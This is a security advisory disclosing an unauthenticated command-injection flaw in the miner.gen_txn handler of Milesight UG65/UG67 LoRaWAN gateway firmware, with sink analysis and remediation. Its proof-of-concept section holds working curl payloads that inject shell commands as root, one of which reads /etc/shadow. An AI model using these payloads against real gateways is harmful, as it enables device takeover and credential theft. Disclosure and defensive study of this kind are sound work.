Pre-Authentication Command Injection in miner.gen_txn
Tags
unauthenticated, command_injection, rce, root_rce, tested
Disclosure information
| Field | Value |
|---|---|
| Vendor | Milesight |
| Product | UG65 and UG67 LoRaWAN gateways |
| Tested firmware | 60.0.0.50 |
| Component | uhttpd_ubus.so web JSON dispatcher (ubus-over-HTTP plugin) |
| Vulnerability class | CWE-78, OS command injection |
| Authentication | No session required; unauthenticated execution confirmed by the researcher |
| Validation status | Tested and working; unauthenticated root execution reproduced in emulation (author-confirmed) |
| Suggested severity | Critical - unauthenticated remote code execution as root |
| Discovery date | 2026-10-12 |
Summary
miner.gen_txn inserts values[].owner unquoted into a shell command passed to system(). Static review places this special dispatcher branch before the normal session check, allowing unauthenticated command execution with the web service's root privileges.
The researcher confirms that the finding was tested and works: an unauthenticated request executed commands as root in firmware emulation. See authentication and validation.
Authentication and validation
| Item | Evidence |
|---|---|
| Test status | Tested and working in emulation, as confirmed by the author |
| Entry point | POST /cgi, core=miner, function=gen_txn |
| Authentication | No valid session required; confirmed by the researcher |
| Shell sink | Unquoted owner in system() at 0x3510 |
| Confirmed impact | Unauthenticated command execution as root in emulation |
| Validation basis | Researcher confirmation, with static sink analysis and reproduction examples retained |
The researcher's confirmation supersedes the earlier untested/pending assessment. The commands below are reproduction examples, not a newly captured transcript. This status update did not perform another runtime test.
Proof of concept
poc_miner_gen_txn_rce.py:
../.venv/bin/python poc_miner_gen_txn_rce.py --host 127.0.0.1 --port 18443 --command 'id > /www/duckie 2>&1; uname -a >> /www/duckie; echo duckie >> /www/duckie'
Example command-injection request
Replace <gateway> with the address of an isolated test gateway.
curl -s -X POST http://<gateway>/cgi \
-H 'Content-Type: application/json' \
-d '{"id":1,"execute":1,"core":"miner","function":"gen_txn","values":[{"owner":"; touch /www/duckie; #"}]}'
The verification example below shows the expected HTTP response for the marker. For independent reproduction, capture command output such as id as well as the marker response to verify the executing UID.
curl -s -o /dev/null -w '%{http_code}\n' http://<gateway>/duckie # -> 200
Example root-only file access
This example illustrates root-only file access. Prefer a harmless UID marker when independently reproducing the confirmed execution path.
curl -s -X POST http://<gateway>/cgi \
-H 'Content-Type: application/json' \
-d '{"id":1,"execute":1,"core":"miner","function":"gen_txn","values":[{"owner":"; cat /etc/shadow > /www/duckie; #"}]}'
curl -s http://<gateway>/duckie
Affected assets
- Vulnerable component:
/usr/lib/uhttpd_ubus.so
- Service path identified in the firmware configuration:
TCP 80/443 -> nginx
-> uhttpd 127.0.0.1:17080 / 17443
-> POST /cgi
-> uhttpd_ubus.so dispatcher
Technical details
Request routing
uhttpdis started with the ubus plugin enabled (-u /cgi -U /var/run/ubus/ubus.sock). A JSON body is parsed into a fixed set of fields and dispatched oncore+function:
uhttpd_ubus.so dispatcher 0x4030
strcmp(core, "miner") 0x41a0-0x41a4
strcmp(function, "gen_txn") 0x438c-0x4398
call handler(ctx, values) 0x43a8 -> 0x33a4
- The request schema (also emitted by the shipped web client in
www/js/index.js) is:
{
"id": 1,
"execute": 1,
"core": "miner",
"function": "gen_txn",
"values": [ { "owner": "<attacker-controlled>" } ]
}
valuesis a JSON array of objects. The handler scans the array elements for anownerfield.
Sink
Inside the handler at 0x33a4, the owner string is copied into a stack buffer with a bounded %s copy, then interpolated unquoted into a shell command:
owner = values[].owner; /* copied with snprintf(buf,0x100,"%s",owner) */
snprintf(cmd, 0x400, "rm %s", "/etc/miner/.txnoutput");
system(cmd); /* 0x34d0 (fixed command, not injectable) */
snprintf(cmd, 0x400,
"/usr/sbin/gen_miner_txnoutput.sh %s %s %s",
owner, /* attacker-controlled, unquoted */
makerid, /* read from /etc/miner/makerid, if present */
"/etc/miner/.txnoutput");
system(cmd); /* 0x3510 <-- injectable */
-
The first
system()call removes/etc/miner/.txnoutput. The second call interpolatesowneras the first argument of a shell command line, so metacharacters such as;,|,`,$( ), and&&are honored by/bin/sh -c. The trailingmakeridand output-path arguments can be neutralized with a#comment. -
The handler subsequently builds a JSON response object:
{"miner":{"mac":"...","owner":"<echoed owner>","txn":"...","status":<0|-1>}}
statusis0when/etc/miner/.txnoutputexists after the handler runs and-1otherwise.
Security impact
An unauthenticated requester can pass shell commands to the web service running as root, as confirmed by the researcher in firmware emulation. Root execution can permit reading system files, changing gateway configuration, and stopping services. These broader consequences are not presented as separately completed tests.
Attack prerequisites
- Reach the gateway's HTTP or HTTPS management interface.
- Have the special
miner.gen_txnbranch present and callable in the running web plugin.
No device login or client certificate is required for the confirmed path.
Recommended remediation
- Remove the legacy handler if it is no longer needed. Otherwise, enforce authentication and authorization before dispatching it.
- Replace the shell command with an executable and an argument vector. Validate
owneragainst the wallet-address format and validatemakerid. - Replace the constant shell-based removal with
unlink()and check errors.
Deployment validation
The finding is confirmed in emulation. Physical-device exposure after normal provisioning and behavior on other firmware versions were not tested.
Notes on scope
See the shared testing scope. This revision records the author's test confirmation and retains the static evidence. No new runtime test was performed during this edit.